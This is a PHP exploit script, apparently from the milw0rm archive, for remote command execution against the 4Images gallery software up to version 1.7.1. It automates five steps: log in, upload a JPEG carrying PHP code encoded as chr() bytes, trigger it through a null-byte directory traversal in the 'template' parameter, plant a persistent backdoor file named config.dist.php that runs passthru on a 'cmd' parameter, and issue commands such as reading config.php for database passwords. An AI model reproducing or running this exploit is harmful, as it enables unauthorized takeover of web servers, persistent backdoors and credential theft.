this works regardless of magic_quotes_gpc settings # # # # Sun-Tzu: "Having doomed spies, doing certain things openly for purposes of # # deception, and allowing our spies to know of them and report them to the # # enemy." # /* short explaination: directory traversal in "template" argument, ex: http://[target]/[path]/index.php?template=../../../../../../../etc/passwd%00 this exploit uploads a .jpg file with maliciuos EXIF metadata comptempt, it will be evaluated as php code: http://[target]/[path]/index.php?template=../../data/tmp_media/suntzu1293.jpg%00 or http://[target]/[path]/index.php?template=../../data/media/1/suntzu1293.jpg%00 also, it installs a backdoor on target server, called "config.dist.php", then... http://[target]/[path]/config.dist.php?cmd=cat%20config.php */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); ob_implicit_flush (1); echo'****** 4Images <= 1.7.1 remote commands execution ******

****** 4Images <= 1.7.1 remote commands execution ******

a script by rgod at http://retrogod.altervista.org

* target (ex:www.sitename.com)

* path (ex: /4images/ or just / )

* specify a command ("cat config.php" to see database username & password...)

a valid USER ...

... and PASSWORD, required for STEP 2 and following...

specify a port other than 80 (default value)

send exploit through an HTTP proxy (ip:port)
'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo ''; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) { echo ""; } else { echo " "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".htmlentities($headeri[$li+$ki])."
0".htmlentities($datai)."".htmlentities($datai)."  ".htmlentities($headeri[$li])."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid proxy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function refresh() { flush(); ob_flush(); usleep(5000000000); } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid prozy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$_POST[host];$port=$_POST[port];$path=$_POST[path]; $USER=$_POST[USER];$PASS=$_POST[PASS];$cmd=$_POST[cmd];$proxy=$_POST[proxy]; echo ""; if (($host<>'') and ($path<>'') and ($cmd<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} # STEP 1 -> check if backdoor already installed... $packet ="GET ".$p."config.dist.php?cmd=".urlencode($cmd)." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master!",$html)) {die("backdoor already installed...exploit succeeded...");} } echo "backdoor not installed... -> STEP 2...
"; if (($host<>'') and ($path<>'') and ($cmd<>'') and ($USER<>'') and ($PASS<>'')) { # STEP 2 -> Login... $data="user_name=".$USER."&user_password=".$PASS."&auto_login=1"; $packet ="POST ".$p."login.php HTTP/1.1\r\n"; $packet.="User-Agent: sun-tzu\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Referer: http://".$host.$path."index.php?lang=en\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); if (!eregi("Location:",$html)) {die("Failed to login...");} $temp=explode("Set-Cookie: ",$html); $COOKIE=''; for ($i=1; $i<=6; $i++) { $temp2=explode(" ",$temp[$i]); $COOKIE.=" ".$temp2[0]; } echo "COOKIE -> ".htmlentities($COOKIE)."\r\n"; # STEP 3 -> Retrieve a category to put jpeg in $packet ="GET ".$p."index.php HTTP/1.1\r\n"; $packet.="User-Agent: sun-tzu\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Referer: http://".$host.$path."index.php?lang=en\r\n"; $packet.="Cookie:".$COOKIE."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); $temp=explode("cat_id=",$html); $temp2=explode("&",$temp[1]); $CATID=$temp2[0]; echo "CATID -> ".htmlentities($CATID)."\r\n"; if (($CATID=='') | (strlen($CATID) > 3)) {die("Failed to retrieve a valid category to upload image in...");} # STEP 4 -> Upload evil jpg file... $shell= chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x3f).chr(0x3c).chr(0x3f). chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x6f).chr(0x62).chr(0x5f). chr(0x63).chr(0x6c).chr(0x65).chr(0x61).chr(0x6e).chr(0x28).chr(0x29).chr(0x3b). chr(0x0d).chr(0x0a).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x22).chr(0x48). chr(0x69).chr(0x20).chr(0x4d).chr(0x61).chr(0x73).chr(0x74).chr(0x65).chr(0x72). chr(0x21).chr(0x22).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x69).chr(0x6e).chr(0x69). chr(0x5f).chr(0x73).chr(0x65).chr(0x74).chr(0x28).chr(0x22).chr(0x6d).chr(0x61). chr(0x78).chr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63).chr(0x75).chr(0x74). chr(0x69).chr(0x6f).chr(0x6e).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65). chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x70). chr(0x61).chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28). chr(0x24).chr(0x5f).chr(0x47).chr(0x45).chr(0x54).chr(0x5b).chr(0x22).chr(0x63). chr(0x6d).chr(0x64).chr(0x22).chr(0x5d).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a). chr(0x24).chr(0x69).chr(0x6e).chr(0x3d).chr(0x22).chr(0x3c).chr(0x3f).chr(0x70). chr(0x68).chr(0x70).chr(0x20).chr(0x6f).chr(0x62).chr(0x5f).chr(0x63).chr(0x6c). chr(0x65).chr(0x61).chr(0x6e).chr(0x28).chr(0x29).chr(0x3b).chr(0x65).chr(0x63). chr(0x68).chr(0x6f).chr(0x5c).chr(0x22).chr(0x48).chr(0x69).chr(0x20).chr(0x4d). chr(0x61).chr(0x73).chr(0x74).chr(0x65).chr(0x72).chr(0x21).chr(0x5c).chr(0x22). chr(0x3b).chr(0x69).chr(0x6e).chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74). chr(0x28).chr(0x5c).chr(0x22).chr(0x6d).chr(0x61).chr(0x78).chr(0x5f).chr(0x65). chr(0x78).chr(0x65).chr(0x63).chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e). chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5c).chr(0x22).chr(0x2c). chr(0x30).chr(0x29).chr(0x3b).chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74). chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x47). chr(0x45).chr(0x54).chr(0x5b).chr(0x5c).chr(0x22).chr(0x63).chr(0x6d).chr(0x64). chr(0x5c).chr(0x22).chr(0x5d).chr(0x29).chr(0x3b).chr(0x64).chr(0x69).chr(0x65). chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x24). chr(0x73).chr(0x75).chr(0x6e).chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65). chr(0x6e).chr(0x28).chr(0x22).chr(0x63).chr(0x6f).chr(0x6e).chr(0x66).chr(0x69). chr(0x67).chr(0x2e).chr(0x64).chr(0x69).chr(0x73).chr(0x74).chr(0x2e).chr(0x70). chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29). chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73). chr(0x28).chr(0x24).chr(0x73).chr(0x75).chr(0x6e).chr(0x2c).chr(0x24).chr(0x69). chr(0x6e).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x63).chr(0x6c). chr(0x6f).chr(0x73).chr(0x65).chr(0x28).chr(0x24).chr(0x73).chr(0x75).chr(0x6e). chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).chr(0x68).chr(0x6d).chr(0x6f). chr(0x64).chr(0x28).chr(0x22).chr(0x63).chr(0x6f).chr(0x6e).chr(0x66).chr(0x69). chr(0x67).chr(0x2e).chr(0x64).chr(0x69).chr(0x73).chr(0x74).chr(0x2e).chr(0x70). chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29). chr(0x3b).chr(0x0d).chr(0x0a).chr(0x64).chr(0x69).chr(0x65).chr(0x3b).chr(0x0d). chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a). chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00). chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00). chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff). chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01). chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03). chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x09). chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4). chr(0x00).chr(0x14).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x06).chr(0xff).chr(0xc4).chr(0x00).chr(0x14). chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).chr(0x01). chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).chr(0x00). chr(0x3f).chr(0xc1).chr(0xc7).chr(0xdf).chr(0xff).chr(0xd9).chr(0x00); srand(make_seed()); $v = rand(1,9999); $evil="suntzu".$v.".jpg"; $data ="------------lNnHj26YsSTIS0qSMhw5MK\r\n"; $data.="Content-Disposition: form-data; name=\"action\"\r\n\r\n"; $data.="uploadimage\r\n"; $data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n"; $data.="Content-Disposition: form-data; name=\"cat_id\"\r\n\r\n"; $data.=$CATID."\r\n"; $data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n"; $data.="Content-Disposition: form-data; name=\"media_file\"; filename=\"".$evil."\"\r\n"; $data.="Content-Type: image/jpeg\r\n\r\n"; $data.=$shell."\r\n"; $data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n"; $data.="Content-Disposition: form-data; name=\"remote_media_file\"\r\n\r\n\r\n"; $data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n"; $data.="Content-Disposition: form-data; name=\"thumb_file\"; filename=\"\"\r\n\r\n\r\n"; $data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n"; $data.="Content-Disposition: form-data; name=\"remote_thumb_file\"\r\n\r\n\r\n"; $data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n"; $data.="Content-Disposition: form-data; name=\"image_name\"\r\n\r\n"; $data.="flower\r\n"; $data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n"; $data.="Content-Disposition: form-data; name=\"image_description\"\r\n\r\n"; $data.="wonderful flower\r\n"; $data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n"; $data.="Content-Disposition: form-data; name=\"image_keywords\"\r\n\r\n"; $data.="flower\r\n"; $data.="------------lNnHj26YsSTIS0qSMhw5MK--\r\n"; $packet ="POST ".$p."member.php HTTP/1.1\r\n"; $packet.="User-Agent: suntzoi\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Referer: http://".$host.$path."member.php?action=uploadform&cat_id=".$CATID."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie:".$COOKIE."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Content-Type: multipart/form-data; boundary=----------lNnHj26YsSTIS0qSMhw5MK\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); # STEP 5 -> Launch commands... $xpl="../../data/tmp_media/".$evil.chr(0x00); $xpl=urlencode($xpl); $packet ="GET ".$p."index.php?cmd=".urlencode($cmd)."&template=".$xpl." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master!",$html)) {die("Exploit succeeded...");} for ($subf=1; $subf<=100; $subf++) { $xpl="../../data/media/".$subf."/".$evil.chr(0x00); $xpl=urlencode($xpl); $packet ="GET ".$p."index.php?cmd=".urlencode($cmd)."&template=".$xpl." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master!",$html)) {die("Exploit succeeded...");} } //if you are here... echo "Exploit failed..."; } else {echo "Fill * required fields for step 2 and followings, optionally specify a proxy...";} echo ""; ?> # milw0rm.com [2006-02-26]